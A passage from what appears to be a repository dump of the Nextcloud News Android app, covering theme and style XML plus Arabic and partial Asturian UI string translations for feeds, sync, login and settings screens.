name=\"android:windowNoTitle\">true</item>\n\t\t<item name=\"android:windowIsFloating\">true</item>\n\t\t<item name=\"android:backgroundDimEnabled\">false</item>\n  \t</style>\n  \t-->\n\n\n\n    <!--\n    <style name=\"LoginFormContainer\">\n        <item name=\"android:layout_width\">match_parent</item>\n        <item name=\"android:layout_height\">wrap_content</item>\n        <item name=\"android:padding\">16dp</item>\n    </style>\n\t-->\n\n\t<!--\n\t<style name=\"RobotoFontStyle\">\n        <item name=\"typeface\">robotoslab_regular</item> -->\n        <!-- https://github.com/johnkil/Android-RobotoTextView#usage --> <!--\n    </style>\n\n\t<style name=\"RobotoFontStyleBold\">\n        <item name=\"typeface\">robotoslab_bold</item>\n    </style>\n\t-->\n\n    <style name=\"FloatingDialog\" parent=\"ThemeOverlay.Material3.Dialog\" >\n        <item name=\"android:windowIsFloating\">true</item>\n        <item name=\"android:windowCloseOnTouchOutside\">true</item>\n    </style>\n\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values/themes.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <style name=\"BaseTheme\" parent=\"Theme.Material3.DayNight\">\n        <item name=\"android:windowBackground\">@color/rss_item_list_background</item>\n\n        <item name=\"colorError\">@color/error</item>\n        <item name=\"colorErrorContainer\">@color/errorContainer</item>\n        <item name=\"colorOnBackground\">@color/onBackground</item>\n        <item name=\"colorOnError\">@color/onError</item>\n        <item name=\"colorOnErrorContainer\">@color/onErrorContainer</item>\n        <item name=\"colorOnPrimary\">@color/onPrimary</item>\n        <item name=\"colorOnPrimaryContainer\">@color/onPrimaryContainer</item>\n        <item name=\"colorOnSecondary\">@color/onSecondary</item>\n        <item name=\"colorOnSecondaryContainer\">@color/onSecondaryContainer</item>\n        <item name=\"colorOnSurface\">@color/onSurface</item>\n        <item name=\"colorOnSurfaceVariant\">@color/onSurfaceVariant</item>\n        <item name=\"colorOnTertiary\">@color/onTertiary</item>\n        <item name=\"colorOnTertiaryContainer\">@color/onTertiaryContainer</item>\n        <item name=\"colorOutline\">@color/outline</item>\n        <item name=\"colorOutlineVariant\">@color/outlineVariant</item>\n        <item name=\"colorPrimary\">@color/primary</item>\n        <item name=\"colorPrimaryContainer\">@color/primaryContainer</item>\n        <item name=\"colorSecondary\">@color/secondary</item>\n        <item name=\"colorSecondaryContainer\">@color/secondaryContainer</item>\n        <item name=\"colorSurface\">@color/surface</item>\n        <item name=\"colorSurfaceVariant\">@color/surfaceVariant</item>\n        <item name=\"colorTertiary\">@color/tertiary</item>\n        <item name=\"colorTertiaryContainer\">@color/tertiaryContainer</item>\n\n        <item name=\"android:statusBarColor\">@color/surface</item>\n\n        <item name=\"windowNoTitle\">true</item>\n        <item name=\"windowActionBar\">false</item>\n\n        <item name=\"dividerLineColor\">#1effffff</item>\n\n        <item name=\"primaryTextColor\">@color/primaryTextColor</item>\n\n        <item name=\"starredColor\">@color/starredColor</item>\n        <item name=\"unstarredColor\">@color/unstarredColor</item>\n        <item name=\"markasreadDrawable\">@drawable/swipe_markasread</item>\n        <item name=\"openinbrowserDrawable\">@drawable/swipe_openinbrowser</item>\n        <item name=\"shareDrawable\">@drawable/swipe_share</item>\n\n        <item name=\"starredDrawable\">@drawable/swipe_setstarred</item>\n\n        <item name=\"news_detail_background_color\">@color/news_detail_background_color</item>\n\n        <item name=\"android:windowContentTransitions\">true</item>\n        <item name=\"android:windowAllowEnterTransitionOverlap\">true</item>\n        <item name=\"android:windowAllowReturnTransitionOverlap\">true</item>\n        <item name=\"android:windowSharedElementEnterTransition\">@android:transition/move</item>\n        <item name=\"android:windowSharedElementExitTransition\">@android:transition/move</item>\n\n        <!-- https://stackoverflow.com/a/46587460/13370504 -->\n        <!-- switch on thumb & track color -->\n        <item name=\"colorControlActivated\">@color/primary</item>\n    </style>\n\n    <style name=\"BaseTheme.OLED\" parent=\"BaseTheme\">\n        <item name=\"android:windowBackground\">@android:color/black</item>\n        <item name=\"android:textColor\">@android:color/white</item>\n        <item name=\"android:textColorSecondary\">@color/material_grey_500</item>\n        <item name=\"news_detail_background_color\">@color/news_detail_background_color_oled</item>\n    </style>\n\n    <style name=\"AppTheme\" parent=\"BaseTheme\" />\n\n    <style name=\"AppTheme.OLED\" parent=\"BaseTheme\" />\n\n    <style name=\"SplashTheme\" parent=\"Theme.SplashScreen\">\n        <item name=\"windowSplashScreenBackground\">@color/nextcloudBlue</item>\n        <item name=\"windowSplashScreenAnimatedIcon\">@drawable/ic_launcher_foreground</item>\n        <item name=\"postSplashScreenTheme\">@style/AppTheme</item>\n    </style>\n\n    <style name=\"TextInputEditTextLogin\" parent=\"ThemeOverlay.Material3.TextInputEditText\">\n        <item name=\"android:background\">@android:color/transparent</item>\n        <item name=\"android:textColor\">@android:color/white</item>\n\n        <item name=\"colorPrimary\">@android:color/white</item>\n        <item name=\"colorPrimaryDark\">@android:color/white</item>\n        <item name=\"colorAccent\">@android:color/white</item>\n    </style>\n\n    <style name=\"TextInputLayoutStyle\">\n        <item name=\"android:textColor\">@android:color/white</item>\n        <item name=\"android:textColorHint\">@android:color/white</item>\n    </style>\n\n    <style name=\"TextInputLayoutAppearance\" parent=\"Base.Widget.MaterialComponents.TextInputLayout\">\n        <item name=\"android:textCursorDrawable\">@null</item>\n        <item name=\"android:background\">@android:color/transparent</item>\n\n        <item name=\"hintTextAppearance\">@style/HintText</item>\n        <item name=\"errorTextAppearance\">@style/ErrorText</item>\n        <item name=\"android:textColor\">@android:color/white</item>\n        <item name=\"android:textColorHint\">@android:color/white</item>\n\n        <item name=\"colorPrimary\">@android:color/white</item>\n        <item name=\"colorPrimaryDark\">@android:color/white</item>\n        <item name=\"colorAccent\">@android:color/white</item>\n        <item name=\"colorControlNormal\">@android:color/white</item>\n        <item name=\"colorControlActivated\">@android:color/white</item>\n        <item name=\"colorControlHighlight\">@android:color/white</item>\n    </style>\n\n    <style name=\"ErrorText\" parent=\"TextAppearance.AppCompat\">\n        <item name=\"android:textColor\">?attr/colorError</item>\n        <item name=\"android:textSize\">16sp</item>\n    </style>\n\n    <style name=\"HintText\" parent=\"TextAppearance.AppCompat\">\n        <item name=\"android:textColor\">@android:color/white</item>\n        <item name=\"android:textSize\">14sp</item>\n    </style>\n\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ar/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">مزامنة تلقائية</string>\n    <string name=\"title_activity_sync_interval_selector\">الزمن الفاصل بين عمليات المزامنة</string>\n    <string name=\"empty_view_content\">لا توجد أي عناصر هنا</string>\n    <string name=\"empty_view_content_action\">إسحب للاسفل للتحديث</string>\n    <string name=\"toast_GettingMoreItems\">بدأ تنزيل المزيد من العناصر. انتظر من فضلك …</string>\n    <string name=\"no_wifi_available\">لا يوجد اتصال بشبكة الواي فاي</string>\n    <string name=\"do_you_want_to_download_without_wifi\">هل تريد تنزيل الصور بدون اتصال واي فاي؟</string>\n    <string name=\"current_version\">أنت تستخدم الإصدار %s</string>\n    <string name=\"widget_header\">أخبار نكست كلاود</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"zero\">%dبنود جديدة متاحة</item>\n        <item quantity=\"one\">%dبند جديد متاح</item>\n        <item quantity=\"two\">%dبنود جديدة متاحة</item>\n        <item quantity=\"few\">%dبنود جديدة متاحة</item>\n        <item quantity=\"many\">%dبنود جديدة متاحة</item>\n        <item quantity=\"other\">%dبنود جديدة متاحة</item>\n    </plurals>\n    <string name=\"message_bar_reload\">إعادة تحميل</string>\n    <string name=\"allUnreadFeeds\">كل العناصر غير المقروءه</string>\n    <string name=\"starredFeeds\">العناصر المُعلّمة بنجمة</string>\n    <string name=\"downloadedPodcasts\">ملفات بودكاست تمّ تنزيلها</string>\n    <string name=\"title_activity_new_feed\">إضافة موجز جديد</string>\n\n    <string name=\"menu_update\">تحديث</string>\n    <string name=\"menu_markAllAsRead\">تحديد الكل كمقروء</string>\n    <string name=\"menu_StartImageCaching\">تنزيل الصور</string>\n    <string name=\"menu_downloadMoreItems\">تنزيل المزيد من العناصر</string>\n\n    <string name=\"tv_showing_cached_version\">عرض النسخة المُخبّأة cached</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">مُعلّم بنجمة</string>\n    <string name=\"action_read\">قراءة</string>\n    <string name=\"action_playPodacst\">تشغيل بودكاست</string>\n    <string name=\"action_removePodcast\">إزالة وسائط البودكاست</string>\n    <string name=\"action_openInBrowser\">فتح في متصفح الويب</string>\n    <string name=\"action_Share\">شارك</string>\n    <string name=\"action_login\">إعدادات الخادم</string>\n    <string name=\"action_save\">حفظ</string>\n    <string name=\"action_settings\">إعدادات</string>\n    <string name=\"action_sync_settings\">مزامنة الإعدادات</string>\n    <string name=\"action_add_new_feed\">إضافة موجز جديد</string>\n    <string name=\"action_add_new_folder\">إضافة مجلد جديد</string>\n    <string name=\"action_textToSpeech\">إقرأ</string>\n    <string name=\"action_search\">بحث</string>\n    <string name=\"action_download_articles_offline\">تنزيل مقالات لاستعمالها عند انقطاع بالإنترنت</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">تنزيل مقالات لاستعمالها عند انقطاع بالإنترنت</string>\n    <string name=\"notification_download_images_offline\">تنزيل صور لاستعمالها عند انقطاع بالإنترنت</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"zero\">لديك %dبنود جديدة غير مقروءة </item>\n        <item quantity=\"one\">لديك %dبند جديد غير مقروء</item>\n        <item quantity=\"two\">لديك %dبنود جديدة غير مقروءة </item>\n        <item quantity=\"few\">لديك ب%dنود جديدة غير مقروءة </item>\n        <item quantity=\"many\">لديك%d بنود جديدة غير مقروءة </item>\n        <item quantity=\"other\">لديك%d بنود جديدة غير مقروءة </item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"zero\">%dبنود جديدة غير مقروءة متاحة</item>\n        <item quantity=\"one\">%dبند جديد غير مقروء متاح</item>\n        <item quantity=\"two\">%dبنود جديدة غير مقروءة متاحة</item>\n        <item quantity=\"few\">%dبنود جديدة غير مقروءة متاحة</item>\n        <item quantity=\"many\">%dبنود جديدة غير مقروءة متاحة</item>\n        <item quantity=\"other\">%dبنود جديدة غير مقروءة متاحة</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">عنوان URL للموجز</string>\n    <string name=\"action_add_feed\">إضافة موجز</string>\n    <string name=\"import_opml\">إستيراد OPML</string>\n    <string name=\"export_opml\">تصدير OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">تنزيل الصورة</string>\n    <string name=\"action_img_sharelink\">شارك رابط الصورة</string>\n    <string name=\"action_img_open\">افتح الصورة في المستعرض</string>\n    <string name=\"action_img_copylink\">نسخ رابط الصورة</string>\n    <string name=\"action_link_share\">شارك الرابط</string>\n    <string name=\"action_link_open\">افتح الرابط في المستعرض</string>\n    <string name=\"action_link_copy\">إنسخ الرابط</string>\n    <string name=\"toast_img_download_wait\">يتم التنزيل. يرجى الانتظار …</string>\n    <string name=\"toast_img_saved\">تمّ حفظ الصورة</string>\n    <string name=\"toast_img_notwriteable\">تعذّر نسخ الصورة</string>\n    <string name=\"toast_copied_to_clipboard\">تمّ النسخ للحافظة</string>\n    <string name=\"error_download_failed\">تعذّر التنزيل</string>\n    <string name=\"intent_title_share\">شارِك عبر</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">إزالة الموجز </string>\n    <string name=\"action_feed_rename\">إعادة تسمية الموجز</string>\n    <string name=\"action_feed_move\">نقل الموجز</string>\n    <string name=\"action_feed_notification_settings\">إعدادات الإشعارات</string>\n    <string name=\"action_feed_open_in\">إعدادات الافتتاح</string>\n    <string name=\"action_feed_open_in_general_setting\">استخدم الإعدادات العامة</string>\n    <string name=\"action_feed_open_in_detailed_view\">عرض تفصيلي</string>\n    <string name=\"feed_remove_button\">حذف</string>\n    <string name=\"feed_rename_button\">إعادة التسمية</string>\n    <string name=\"confirm_feed_remove\">هل تريد حقًا إزالة هذا الموجز؟ لا يمكن التراجع عن هذا لاحقاً!</string>\n    <string name=\"feed_move_list_description\">إختر مجلداً ليُنقل إليه الموجز</string>\n    <string name=\"move_feed_root_folder\">المجلد الجذري root folder</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">حذف المجلد</string>\n    <string name=\"action_folder_rename\">غيّر تسمية المجلد</string>\n    <string name=\"folder_remove_button\">حذف</string>\n    <string name=\"folder_rename_button\">إعادة التسمية</string>\n    <string name=\"confirm_folder_remove\">هل تريد حقًا إزالة هذا المجلد؟ لا يمكن التراجع عن هذا لاحقاً!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">تَلَقَّى إشعارات فريدة unique لهذا الموجز</string>\n    <string name=\"notification_feed_default\">ستظهر جميع الإيجازات ذات الإعدادات الافتراضية في إشعار واحد</string>\n    <string name=\"notification_feed_none\">لا توجد أيّ إشعاراتٍ</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">إضافة</string>\n    <string name=\"hint_folder_name\">اسم المجلد</string>\n    <string name=\"folder_already_exists\">المجلد موجودٌ مسبقاً</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">دخول يدوي</string>\n    <string name=\"login_sso\">الدخول من خلال تطبيق الملفات Files لنكست كلاود</string>\n    <string name=\"pref_title_username\">إسم المستخدم</string>\n    <string name=\"pref_title_password\">كلمة المرور</string>\n    <string name=\"pref_title_owncloudRootPath\">العنوان الجذري لنكست كلاود</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">تسجيل الدخول</string>\n    <string name=\"login_progress_signing_in\">تسجيل الدخول جارٍ…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">هذا الحقل مطلوب</string>\n    <string name=\"error_invalid_url\">عنوان URL  غير صحيحٍ</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"zero\">تم تنزيل %dعناصر قديمة</item>\n        <item quantity=\"one\">تم تنزيل %dعنصر قديمة</item>\n        <item quantity=\"two\">تم تنزيل %dعناصر قديمة</item>\n        <item quantity=\"few\">تم تنزيل %dعناصر قديمة</item>\n        <item quantity=\"many\">تم تنزيل %dعناصر قديمة</item>\n        <item quantity=\"other\">تم تنزيل %dعناصر قديمة</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">لا توجد عناصر أخرى متوفرة</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"zero\">استدعاء %dبنود حتي الآن ...</item>\n        <item quantity=\"one\">استدعاء %dبند حتي الآن ...</item>\n        <item quantity=\"two\">استدعاء %d بنود حتي الآن ...</item>\n        <item quantity=\"few\">استدعاء %dبنود حتي الآن ...</item>\n        <item quantity=\"many\">استدعاء %dبنود حتي الآن ...</item>\n        <item quantity=\"other\">استدعاء %d بنود حتي الآن ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">إعدادات</string>\n    <string name=\"cache_is_cleared\">تمّ مسح ذاكرة التخزين المؤقت!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">عامٌّ</string>\n    <string name=\"pref_title_general_sort_order\">الترتيب</string>\n\n    <string name=\"pref_general_sort_order_new_old\">جديد ← قديم</string>\n    <string name=\"pref_general_sort_order_old_new\">قديم ← جديد</string>\n\n    <string name=\"pref_rename_action_swipe_right\">التصرُّف عند السحب لليمين</string>\n    <string name=\"pref_rename_action_swipe_left\">التصرُّف عند السحب لليسار</string>\n\n    <string name=\"pref_title_general_search_in\">البحث في</string>\n\n    <string name=\"pref_general_search_in_title\">العنوان</string>\n    <string name=\"pref_general_search_in_body\">المتن</string>\n    <string name=\"pref_general_search_in_both\">كلاهما</string>\n\n    <string name=\"dialog_clearing_cache\">مسح ذاكرة التخزين المؤقت</string>\n    <string name=\"dialog_clearing_cache_please_wait\">مسح ذاكرة التخزين المؤقت جارٍ.  يُرجى الانتظار …</string>\n    <string name=\"reset_cache_unsaved_changes\">توجد تغييرات غير متزامنة. هل ترغب في إعادة تعيين ذاكرة التخزين المؤقت على أي حال؟</string>\n    <string name=\"warning\">تحذير</string>\n    <string name=\"pref_title_AutoSyncOnStart\">بدء المزامنة عند التشغيل</string>\n    <string name=\"pref_title_ShowOnlyUnread\">أظهر فقط المقالات غير المقروءة</string>\n    <string name=\"pref_title_DisableHostnameVerification\">تعطيل التحقق من اسم المضيف</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">التّنقل باستخدام أزرار الصوت</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">تحديد كمقروء أثناء التنقل</string>\n    <string name=\"pref_title_ShowFastActions\">مكًن وظائف الوصول السريع</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">تخطي العرض المفصل وفتح المقال في المتصفح</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">زِر الرجوع يفتح الدُّرج</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">هل تقبل بشهادة غير معروفة؟</string>\n    <string name=\"mtm_decision_always\">دائماً</string>\n    <string name=\"mtm_decision_abort\">إلغاء.</string>\n    <string name=\"mtm_notification\">التحقق من الشهادة</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">لم يتم اختيار أي بودكاست</string>\n    <string name=\"no_chapters_available\">لا توجد فصول متاحة</string>\n    <string name=\"exit_playback\">أُخرُج من المُشغّل</string>\n    <string name=\"podcast_playback_speed_dialog_title\">سرعة التشغيل</string>\n    <string name=\"notification_downloading_podcast_title\">تنزيل البودكاست</string>\n    <string name=\"dialog_podcast_remove_title\">هل أنت متأكد؟</string>\n    <string name=\"dialog_podcast_remove_body\">هل ترغب في إزالة الوسائط التي تمّ تنزيلها لـ %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">تعذّر حذف الوسائط لـ %1$s</string>\n    <string name=\"dialog_podcast_status_success\">وسائط %1$s تمّ حذفها</string>\n    <string name=\"dialog_podcast_remove_confirm\">حذف</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">عن</string>\n    <string name=\"pref_license\">الرخصة</string>\n    <string name=\"pref_license_summary\">رخصة GNU (AGPL) الإصدار 3</string>\n    <string name=\"pref_report_issue\">الإبلاغ عن خطأ</string>\n    <string name=\"pref_report_issue_summary\">يلزم حساب GitHub (مجاني)</string>\n    <string name=\"pref_contribute\">ساهم!</string>\n    <string name=\"pref_contribute_summary\">أحصل على الشفرة المصدرية</string>\n    <string name=\"pref_privacy\">الخصوصية</string>\n    <string name=\"pref_privacy_summary\">سياسة الخصوصية في تطبيق News من نكست كلاود على الأندرويد</string>\n    <string name=\"pref_news_policy\">تواصل معنا / السياسة الإخبارية</string>\n    <string name=\"pref_news_policy_summary\">الأخبار على أندرويد من نكست كلاود / تواصل معنا</string>\n    <string name=\"pref_version\">تطبيق News من نكست كلاود على الأندرويد</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">عرض</string>\n    <string name=\"pref_title_app_theme\">السمة</string>\n    <string name=\"pref_title_feed_list_layout\">مخطط عرض الموجز بالقائمة</string>\n    <string name=\"pref_title_font_size\">حجم الخط</string>\n    <string name=\"pref_display_browser\">المتصفح</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">أيقونات الإجراء (عرض التفاصيل)</string>\n\n    <string name=\"pref_display_apptheme_auto\">النظام الإفتراضي </string>\n    <string name=\"pref_display_apptheme_light\">فاتح</string>\n    <string name=\"pref_display_apptheme_dark\">داكن</string>\n\n    <string name=\"pref_oled_mode\">خلفية سوداء</string>\n    <string name=\"pref_oled_mode_summary\">للوضع الداكن على شاشات OLED</string>\n\n    <string name=\"pref_external_player\">مُشغّل خارجي</string>\n    <string name=\"pref_external_player_summary\">قُم بتشغيل ملفات podcast في تطبيقك الافتراضي للوسائط</string>\n\n    <string name=\"pref_display_browser_cct\">علامات التبويب المخصصة لمتصفح كروم</string>\n    <string name=\"pref_display_browser_built_in\">متصفح مدمج</string>\n    <string name=\"pref_display_browser_external\">متصفح خارجي</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">مصغرات  (للعناوين فقط)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">صور مصغرة thumbnails</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">نص بسيط</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">العناوين</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">نص كامل</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">مخطط عرض صفحة الويب</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">عرض البطاقات</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">صغير</string>\n    <string name=\"pref_display_font_size_d\">افتراضي</string>\n    <string name=\"pref_display_font_size_l\">كبير</string>\n    <string name=\"pref_display_font_size_xl\">كبير جداً</string>\n\n    <string name=\"content_desc_play\">تشغيل</string>\n    <string name=\"content_desc_pause\">إيقاف</string>\n    <string name=\"content_desc_playback_speed\">سرعة التشغيل</string>\n    <string name=\"content_desc_rewind\">أعد من البداية</string>\n    <string name=\"content_desc_forward\">للأمام</string>\n    <string name=\"content_desc_expand\">توسيع</string>\n    <string name=\"content_desc_collapse\">طوي</string>\n    <string name=\"content_desc_mark_as_read\">تمييز كمقروء</string>\n    <string name=\"content_desc_mark_as_unread\">تمييز كغير مقروء</string>\n    <string name=\"content_desc_tap_to_refresh\">أنقر للإنعاش</string>\n    <string name=\"content_desc_add_to_favorites\">إضافة إلى المفضلة</string>\n    <string name=\"content_desc_remove_from_favorites\">إزالة من المفضلة</string>\n    <string name=\"content_desc_show_password\">أظهر كلمة المرور</string>\n    <string name=\"content_desc_delete\">إزالة</string>\n    <string name=\"content_desc_download\">تنزيل</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">خطأ</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">يبدو أنه لم يتم تنصيب تطبيق الأخبار الخاص بك أو تنشيطه على خادومك. يرجى اتباع التعليمات الواردة هنا لإعداد تطبيق الأخبار على خادومك أولاً: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">حدث خطأ ما: (</string>\n    <string name=\"login_dialog_text_zero_version_code\">قام تطبيق أخبار الويب بإرجاع الإصدار \\\"0\\\". يرجى إلقاء نظرة على تقرير الخطأ التالي: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">هذا إصدار من التطبيق غير متوافق مع تطبيق أخبار نكست كلود نيوز News لديك. يُرجى ترقية تطبيق الأخبار وإطار عمل التطبيق.</string>\n    <string name=\"login_dialog_title_security_warning\">تحذير أمني</string>\n    <string name=\"login_dialog_text_security_warning\">أنت لا تستخدم بروتوكول HTTPS، والذي نوصي به بشدة. يمكن للمهاجم اعتراض حركة المرور الخاصة بك والوصول إلى بعض البيانات الحساسة (مثل كلمة المرور الخاصة بك).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">حدث خطأٌ ما. يرجى إعادة المحاولة.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">بيانات &amp; مُزامَنة</string>\n    <string name=\"pref_title_clearCache\">مسح ذاكرة التخزين المؤقتة</string>\n    <string name=\"pref_title_CacheImagesOffline\">تخبئة الصور لحالة عدم توافر الاتصال بالإنترنت</string>\n    <string name=\"pref_title_Max_Cache_Size\">أقصى حجم لذاكرة التخزين المؤقتة</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">أبدا</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">عبر الواي فاي فقط</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">عبر الواي فاي&amp; النقّال</string>\n    <string name=\"pref_data_sync_image_cache_ask\">إسأل في حالة عدم الاتصال بشبكة واي فاي</string>\n\n    <string name=\"array_sync_interval_min_0\">أبدا</string>\n    <string name=\"array_sync_interval_min_5\">5 دقائق</string>\n    <string name=\"array_sync_interval_min_15\">15 دقيقة</string>\n    <string name=\"array_sync_interval_min_30\">30 دقيقة</string>\n    <string name=\"array_sync_interval_min_45\">45 دقيقة</string>\n    <string name=\"array_sync_interval_hour_1\">1 ساعة</string>\n    <string name=\"array_sync_interval_hour_2\">2 ساعة</string>\n    <string name=\"array_sync_interval_hour_3\">3 ساعات</string>\n    <string name=\"array_sync_interval_hour_6\">6 ساعات</string>\n    <string name=\"array_sync_interval_hour_12\">12 ساعة</string>\n    <string name=\"array_sync_interval_hour_24\">24 ساعة</string>\n    <string name=\"switch_account\">تبديل الحساب</string>\n    \n    <string name=\"successfully_exported\">تمّ بنجاح التصدير إلى:</string>\n    <string name=\"opml_export\">تصدير OPML</string>\n    <string name=\"parsing_opml\">تحليل OPML</string>\n    <string name=\"please_wait\">الرجاء الانتظار...</string>\n    <string name=\"interval_sync_title\">مزامنة الزمن الفاصل Interval Sync</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ast/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"empty_view_content\">Equí nun hai nengún elementu</string>\n    <string name=\"current_version\">Tas usando la versión %s</string>\n    <string name=\"widget_header\">Nextcloud News</string>\n    <string name=\"message_bar_reload\">Volver cargar</string>\n    <string name=\"allUnreadFeeds\">Tolos elementos ensin lleer</string>\n    <string name=\"downloadedPodcasts\">Podcasts baxaos</string>\n    <string name=\"menu_update\">Anovar</string>\n    <string name=\"menu_StartImageCaching\">Baxar les imáxenes</string>\n    <string name=\"menu_downloadMoreItems\">Baxar más elementos</string>\n\n    <string name=\"tv_showing_cached_version\">Amosando la versión de la caché</string>\n\n    <string name=\"action_read\">Lleer</string>\n    <string name=\"action_playPodacst\">Reproducir el podcast</string>\n    <string name=\"action_openInBrowser\">Abrir nel restolador web</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuración del sirvidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuración</string>\n    <string name=\"action_search\">Buscar</string>\n    <string name=\"action_img_sharelink\">Compartir l\\'enllaz de la imaxe</string>\n    <string name=\"action_img_open\">Abrir la imaxe nel restolador web</string>\n    <string name=\"action_img_copylink\">Copiar l\\'enllaz de la imaxe</string>\n    <string name=\"action_link_share\">Compartir l\\'enllaz</string>\n    <string name=\"action_link_open\">Abrir l\\'enllaz nel restolador web</string>\n    <string name=\"action_link_copy\">Copiar l\\'enllaz</string>\n    <string name=\"toast_img_download_wait\">Baxando, espera…</string>\n    <string name=\"toast_img_saved\">Guardóse la imaxe</string>\n    <string name=\"toast_copied_to_clipboard\">Copióse nel cartafueyu</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir per</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Quitar el feed</string>\n    <string name=\"action_feed_rename\">Renomar el feed</string>\n    <string name=\"action_feed_move\">Mover el feed</string>\n    <string name=\"action_feed_notification_settings\">Configuración de los avisos</string>\n    <string name=\"action_feed_open_in_detailed_view\">Vista detallada</string>\n    <string name=\"feed_remove_button\">Quitar</string>\n    <string name=\"feed_rename_button\">Renomar</string>\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Quitar la carpeta</string>\n    <string name=\"action_folder_rename\">Renomar la carpeta</string>\n    <string name=\"folder_remove_button\">Quitar</string>\n    <string name=\"folder_rename_button\">Renomar</string>\n    <string name=\"confirm_folder_remove\">¿De xuru que quies quitar esta carpeta? ¡Esta aición nun se pue desfacer!</string>\n\n    <string name=\"notification_feed_none\">Nun hai nengún avisu</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Amestar</string>\n    <string name=\"hint_folder_name\">Nome de la carpeta</string>\n    <string name=\"folder_already_exists\">La carpeta yá esiste</string>\n\n    <string name=\"pref_title_username\">Nome d\\'usuariu</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Aniciar la sesión</string>\n    <string name=\"login_progress_signing_in\">Aniciando la sesión…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">El campu ye obligatoriu</string>\n    <string name=\"error_invalid_url\">La URL ye incorreuta</string>\n\n    <string name=\"toast_no_more_downloads_available\">Nun hai más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuración</string>\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Xeneral</string>\n    <string name=\"pref_general_search_in_title\">Títulu</string>\n    <string name=\"pref_general_search_in_body\">Cuerpu</string>\n    <string name=\"pref_general_search_in_both\">Dambos</string>\n\n    <string name=\"dialog_clearing_cache\">Llimpiando la caché</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Llimpiando la caché, espera…</string>\n    <string name=\"warning\">Alvertencia</string>\n    <string 